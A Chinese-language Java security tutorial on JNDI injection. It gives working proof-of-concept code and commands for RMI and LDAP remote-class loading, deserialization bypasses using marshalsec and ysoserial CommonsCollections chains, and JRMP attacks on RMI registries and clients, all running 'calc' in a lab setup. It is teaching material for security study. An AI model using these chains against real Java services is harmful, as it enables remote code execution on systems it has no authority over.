【JAVA安全】JNDI注入

介绍

JNDI(Java Naming and Directory Interface)用来查找和访问各种资源,比如定位用户、网络、机器、对象、服务等资源。JNDI底层支持RMI(Registry Service Provider)远程对象调用。

JNDI注入之RMI利用

受害者类

需要调用lookup方法,且需要保证参数是可控制的

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class Victim {  
    public static void main(String[] args) throws NamingException {  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup("rmi://127.0.0.1:1099/aaa");  
    }  
}

RMI服务端

RMI服务注册的ip和端口应与受害者lookup的地址相同

import com.sun.jndi.rmi.registry.ReferenceWrapper;  
  
import javax.naming.NamingException;  
import javax.naming.Reference;  
import java.rmi.AlreadyBoundException;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
public class RMIServer {  
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {  
        Registry registry = LocateRegistry.createRegistry(1099);  
        Reference reference = new Reference("evil""evil""http://127.0.0.1:8000/");//存放恶意class的服务器  
        registry.bind("aaa"new ReferenceWrapper(reference));  
    }  
}

还需要指定恶意类的存放地址,这里我们直接用python -m http.server在8000端口起一个目录遍历服务

恶意类

编写需要加载的恶意类代码

import javax.naming.Context;  
import javax.naming.Name;  
import javax.naming.spi.ObjectFactory;  
import java.io.IOException;  
import java.util.Hashtable;  
  
public class evil implements ObjectFactory {  
    public evil() throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }
    
    @Override  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {  
        return null;  
    }  
}

适用javac将其编译为evil.class放到python起服务的根目录下

测试

先起python目录服务,再起RMIServer服务器,最后运行受害者的lookup方法。

理想情况是受害者利用lookup去寻找网络资源,RMI服务器指向python目录的恶意类,然后受害者读取恶意类并执行。

然而事实是这个方法只在8u121以下生效,因为更高版本的Java默认对RMI远程Reference不再信任,也就是出现The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.报错的原因。

要想绕过高版本jdk也有方法,得保证受害者目标机器使用了对应的依赖,比如tomcat8、groovy等思路绕过限制。

JNDI注入之LDAP

LDAP基于X.500标准的轻量级目录访问协议

新建恶意类

import java.io.IOException;  
  
public class evil {  
    public evil() throws IOException {  
        Runtime.getRuntime().exec("calc");  
    }  
}

并java编译为class

marshalsec启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#evil 1099

启动python目录遍历服务

python -m http.server在8000端口起一个目录遍历服务,把第一步编译的evil.class放到根目录下即可

受害者调用

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class Victim {  
    public static void main(String[] args) throws NamingException {  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup("ldap://127.0.0.1:1099/evil");  
    }  
}

最终构成链子,受害者lookup访问到marshalsec的1099LDAP服务,该服务指向python启动的目录evil.class,受害者获得evil.class后执行里面的构造函数。

测试

从8u191开始,LDAP远程Reference代码默认不信任,需要通过利用javaSerializedData属性序列化数据的方法实现攻击。

当javaSerializedData属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发RCE。

比如受害者机器存在CC链所需的类库,利用CC链生成poc

java -jar ysoserial.jar CommonsCollections5 calc > poc.txt

然后base64编码后放到ldap服务端代码里给javaSerializedData属性addAttribute,最后使用受害者连接ldap服务执行本地反序列化rce。

JRMP协议

通过wireshark抓包看到在rmi调用的时候请求和响应都是基于tcp协议的JRMP协议,里面的payload也都是序列化的Java字节码,那么本质上我们可以替换响应的内容去触发反序列化的rce

攻击RMIServer

如果我们找到一个目标,其端口开放一个RMI服务,无需知道具体提供的服务调用类,直接发序列化数据触发服务端反序列化rce

假定服务端RMIServer的地址是192.168.100.1:1099且当前服务端存在一个有漏洞的cc链

java -cp ysoserial-all.jar ysoserial.exploit.JRMPClient 192.168.100.1 1099 CommonsCollections1 calc

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.100.1 1099 CommonsCollections1 calc

即可让RMIServer服务端执行calc

攻击可控lookup方法客户端

前提是我们可以控制客户端lookup方法参数中的网络地址设置,此时我们可以自建一个RMIServer服务,让客户端连我们的恶意服务触发客户端的反序列化

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc

让改客户端的请求目标,改成192.168.100.129:1099,发送请求即可执行calc

如果想调试,就在Runtime类的exec方法这里下个断点,然后看调用栈,往下翻找到readObject方法,再往前就是JRMP的调用,往后就是常规的CC1链子调用


原文始发于微信公众号(智佳网络安全):【JAVA安全】JNDI注入

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300757.html

(0)
小半的头像小半

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!